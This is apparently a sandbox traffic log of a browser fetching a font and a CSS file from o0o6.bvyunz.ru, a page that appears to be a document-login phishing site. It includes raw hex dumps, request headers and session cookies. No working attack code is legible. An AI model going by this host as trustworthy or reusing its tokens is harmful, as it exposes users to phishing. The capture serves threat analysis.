2025-03-18 17:17:21 UTC	1369	IN	Data Raw: ad 45 f7 3d f5 d6 fb 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d e7 9d 71 5e ab 6f d5 3a fd e6 a3 ea 80 0b a6 f8 b7 66 9b 6a f9 f3 de b0 6c 5d 91 41 fb 55 e9 61 b1 07 7f af 1a 07 d4 e9 74 d4 71 87 1d 53 6b 42 d2 61 a3 2a dc 56 2f f9 94 4b e8 6e 35 a0 95 fc 21 95 ba 39 12 3d ac 96 41 e5 cc 83 5e 3e db 79 03 f8 0c 5e cb 96 bf 92 2a 5b bd e6 b9 2a a9 bb e2 91 c7 9e 78 e6 b9 57 66 7d b3 65 db 77 bf e3 de 80 35 64 25 fd 36 92 47 cf 3e 7d 5f 6e e3 ad 58 7f be b1 99 be cd 15 de 0b 26 5e 92 c5 62 ef 35 07 6f 38 79 c7 d1 5b 2e 56 29 5a 45 f7 91 a7 7f 79 f9 44 ce 02 0f ff f0 f2 93 bc 4e c0 f5 02 6f c0 b8 91 b2 35 fb 6e 15 7c 8b bd 77 6a dd 43 b1 df 38 9a 7b 42 Data Ascii: E=Zrn~~{7/&6X=JO7?Yq^o:fjl]AUatqSkBaV/Kn5!9=A^>y^[xWf}ew5d%6G>}_nX&^b5o8y[.V)ZEyDNo5n\|wjC8{B
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: d5 84 d2 b5 c8 56 0c f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 ee 5c ef b4 cb 85 21 1e 96 9d a0 a3 b1 c2 7d 45 9d 56 20 61 10 ab 5e 8e af b7 44 c1 41 79 72 28 b2 40 92 a6 76 40 d7 e9 9b 4e 17 70 c3 eb 07 ce b7 44 c7 5b c7 63 f9 4a fd d8 4e 56 2f cf af ee d8 24 78 49 15 c6 14 f7 ab 2c a4 75 fe c9 c2 66 1c d6 24 71 d3 2d 29 99 d0 52 63 a2 e2 cd b4 65 85 a7 0e 36 57 41 36 56 58 30 d6 23 83 e3 70 94 17 66 1c c2 45 aa ae cb b4 7a ea 60 12 7c b4 a5 f8 88 b5 1e 5e c2 f4 84 11 6c b3 6a 2f 19 20 76 93 d4 30 8c a0 43 60 5a 02 b6 86 06 43 15 03 f8 e9 de 72 8e 3a 34 91 e2 f4 87 5f a5 aa 47 88 20 c9 fa fb ce 20 2b 8c 56 d2 ed aa 25 a8 23 24 28 3a a4 17 c2 5e 60 Data Ascii: VK)iuC-hXC1uhO~4w'\!}EV a^DAyr(@v@NpD[cJNV/$xI,uf$q-)Rce6WA6VX0#pfEz`\|^lj/ v0C`ZCr:4_G +V%#$(:^`
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 2c af dd 60 23 79 ad ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 28 88 e9 61 21 f3 ca 66 a2 92 b8 04 af ef 77 01 2a 09 ff 91 f0 69 77 23 61 21 25 46 28 08 a1 1a b9 32 ee a4 7a 2c 43 f1 5d 0f d7 d9 65 89 90 f3 df f1 15 f0 d2 09 5d e7 95 37 00 18 28 22 e9 a2 1e b9 c0 9b ab 68 a3 79 74 d9 52 b7 93 7a dc 8b 03 36 d0 90 31 30 a2 22 39 30 0b e9 af c4 ac ee 1a a5 27 78 e5 94 89 1f 92 35 2f d0 e1 36 92 dc 13 cf 16 14 2d f4 74 a5 e6 a9 57 17 69 9d 9f 61 97 5b a0 ea 8a dd 0a 65 cc b0 71 0d 44 47 a3 1c 7c 10 58 24 97 38 21 0c 62 5b 68 70 c9 54 52 48 b1 b4 62 11 48 69 de 26 c2 4b bb 1b 92 67 61 05 df cc 2e 5d fc b1 d9 57 bf 1d 61 25 09 cc c4 e7 b3 02 52 4f 2e 36 Data Ascii: ,`#yPW=VEUa_.=(ImoFx.G\Q\|Iy](a!fw*iw#a!%F(2z,C]e]7("hytRz610"90'x5/6-tWia[eqDG\|X$8!b[hpTRHbHi&Kga.]Wa%RO.6
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 1b 7d 1b 34 50 c6 40 f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 f6 0b 06 34 25 52 bf 52 4c 70 57 bf 97 33 c0 a8 71 9a 82 4d 81 d9 7c bc f7 d8 5f 66 46 0a 04 a5 9f 95 0f 3d fc 2f 17 3f 5e 43 fd 6c 6d e7 27 06 d3 df 98 97 6a 86 dc 2e 0c ba 71 ba ba 58 36 2e ce 5f 11 69 c0 a3 ae 38 d2 24 16 b8 20 50 cc fd 01 0f eb cb 42 75 0d 29 de 40 02 76 62 ac 0d d6 cc b6 42 3e f2 ed f1 93 3b 5f aa 81 90 71 ec ca ab 8a 73 b5 c4 68 3f 46 e1 c8 59 5d c2 3d da bf f9 eb 22 81 08 df 70 3e a9 f4 1e fe de 91 8e df 17 6f db e8 29 45 d2 10 bf 4e 8c 3d 28 54 f9 9c 6a 56 2d d4 f3 f9 8d 6f bb b1 5d 75 37 03 67 77 4b 0b 12 c2 6e 9b 97 47 5d ba be c7 ca 44 70 e6 80 2c 4f 95 71 9e Data Ascii: }4P@0W\|}8WfjsY}DKMKmB4%RRLpW3qM\|_fF=/?^Clm'j.qX6._i8$ PBu)@vbB>;_qsh?FY]="p>o)EN=(TjV-o]u7gwKnG]Dp,Oq

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:20 UTC	1401	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: o0o6.bvyunz.ru Connection: keep-alive Origin: https://o0o6.bvyunz.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
2025-03-18 17:17:21 UTC	1172	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:17:21 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" Last-Modified: Tue, 18 Mar 2025 17:17:21 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1KZstvq9oRVD7UAZCp5ctHzRB7YUgXMikuNychuxmdo8wgr6%2Fog71%2FjBMNpmmytCRgUGoHEHH%2FDrDkdlYis4h%2FE9v2AcpD2mMW%2BCkJe12bLSdC1gZ%2BHzG07k0%2FyOtHEwfOVe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=42191&min_rtt=41728&rtt_var=12125&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2359&delivery_rate=69278&cwnd=250&unsent_bytes=0&cid=7e948d4506da86c5&ts=201&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 9226620d8b9eadca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2807&min_rtt=2786&rtt_var=1059&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1973&delivery_rate=1048097&cwnd=112&unsent_bytes=0&cid=7b9f6b315c96327e&ts=781&x=0"
2025-03-18 17:17:21 UTC	197	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gasp
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 Data Ascii: glyf!tRa$iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7UH
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: c4 28 b3 f0 f4 6c fc ce 55 a5 a6 ac 70 bd 18 6d 4b 61 f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e Data Ascii: (lUpmKagdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rxf$>M 92+X1{MQPRkRA9h>
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 91 2e f2 0d 19 46 9d 54 ba 5e 59 b5 2c 57 45 b2 ba 7a 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 Data Ascii: .FT^Y,WEzJv}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=su5
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 8f 3f ef 2c 27 02 4d 4d 26 77 24 9b 3c 21 38 ce 39 b2 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 Data Ascii: ?,'MM&w$<!89&[<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tprl4W
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: a5 3e f8 9d 80 67 f4 7a 8a 1e 6b 12 76 92 67 f5 a6 47 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 Data Ascii: >gzkvgG=6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR pg)
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: b8 4a 35 d7 b8 2e 86 6e 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 Data Ascii: J5.nr4qp[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4JLc
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 84 f1 e0 1a 11 0d 8c 06 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 Data Ascii: ]cL+k.[an3*jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[<
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: ae 07 f2 d0 f9 f9 f1 44 92 69 b1 01 93 ff d0 5f 7c 96 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 Data Ascii: Di_\|97"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<2\|1&
2025-03-18 17:17:21 UTC	1369	IN	Data Raw: 7a 02 d9 0c 16 95 ca e8 20 b8 03 02 2d 63 74 8c 75 52 7a dc 89 fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc 19 48 fe de 04 f5 07 d6 17 f5 dd 54 3f 47 01 28 1a c5 a2 42 5b 9e 9e 07 9d 4b d9 81 f8 55 9d 30 b1 11 56 a1 0e 0d 78 55 e0 5b 81 03 43 2c a0 a0 40 04 86 69 44 58 60 74 50 34 54 0d 88 d7 6a dd 80 b1 45 9f 2e 4e 12 96 a2 8f 85 25 19 4e 84 66 00 b8 7b 5c 80 e4 ea f9 a6 e7 c6 14 d6 a5 a6 d6 15 c5 59 53 18 ad 7d 20 39 db 92 36 25 2b 27 09 3c 40 ea fd a5 84 77 e5 a7 d6 17 c6 18 0b eb d2 f3 db c3 ee fc 8c df 95 9b 9c 60 b5 26 24 e7 0a 8f 88 7e 21 f8 9e 42 25 bf 0f 78 39 04 85 a3 e9 b6 a9 81 98 63 40 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c ca 50 22 11 c3 c3 Data Ascii: z -ctuRzuZN=UwN8)cr{nOHT?G(B[KU0VxU[C,@iDX`tP4TjE.N%Nf{\YS} 96%+'<@w`&$~!B%x9c@ArLR0s$$v8LP"

Timestamp	Bytes transferred	Direction	Data
2025-03-18 17:17:20 UTC	1397	OUT	GET /56ViOL6g4iXgtDFmfabDb4L6711 HTTP/1.1 Host: o0o6.bvyunz.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNyWHM2SzVTd0c1UlBTSXpML0UzYlE9PSIsInZhbHVlIjoiOGVZSnMvNFRoZ1lqMmgwRUdxQmFHMzVON25xVTc2bnpIeEZtNGtQL0ZNdjFHdExuWnJIQUpGeVAwNTFSQWJ0SlIyZVMxS1d4VkMycXhienkyN1laL0N5K0dzdmVRYWt5RjlQR1FaSi8rd1ExbzllQlJWbXdIcG5HRE1hUEtiU0IiLCJtYWMiOiIwNzkyNjU0NDQxYTY1NDhmZDY4NWRlYjcxOWZhODc0N2MzZWIxNmFlZmRiODI1YzAyM2RmMDI2ZGZkYjY5MmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImlRclB4blZMdWFQV0cyWEhFYnREYWc9PSIsInZhbHVlIjoiSituRFBsMUhPaHU0OVNLd1daLzV0eWtpOEx2bEN0R2hJMCtVNEVpaTRNbzJ5ODgrckRrNFVMTFk0aXpNOVB1NTdZUC9lbHAyMWRYTCtPM2dMWUJsaHl5bjZIUnhYTHRwL2srdmV6bU9RcXE5WWd2MlkweWRrWVVqY1pzZmRnK0QiLCJtYWMiOiIxYjYyMjAyNzRmNTVhMjRlNjVlYzUyZWUxZTQ3YzIwZTc5OGZjNTU1NTdiNWMzMTg0NmMzZmQ3MGY2MzZmMTJhIiwidGFnIjoiIn0%3D
2025-03-18 17:17:21 UTC	1089	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 17:17:21 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56ViOL6g4iXgtDFmfabDb4L6711" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ngnAlH3RXqQtvq4EgNzF3OUVYQr6nNlnDNNZuBJfKUDPbNSOzsmvYbd7LOo8WFvMDuYguyj07viIUtBgbykvr2D4uzxltqqwHRr2WzIYUdgL%2FKvynjB3VWK%2FNmB2Ma7B3h4y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=3782&min_rtt=1344&rtt_var=2088&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2305&delivery_rate=2154761&cwnd=251&unsent_bytes=0&cid=e71a3d1bf728c9a1&ts=109&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 9226620d5bea2142-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2046&min_rtt=2017&rtt_var=777&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2819&recv_bytes=1969&delivery_rate=1447694&cwnd=247&unsent_bytes=0&cid=8f9e289e9cc1583a&ts=485&x=0"
2025-03-18 17:17:21 UTC	280	IN	Data Raw: 33 63 64 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 Data Ascii: 3cd#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #p
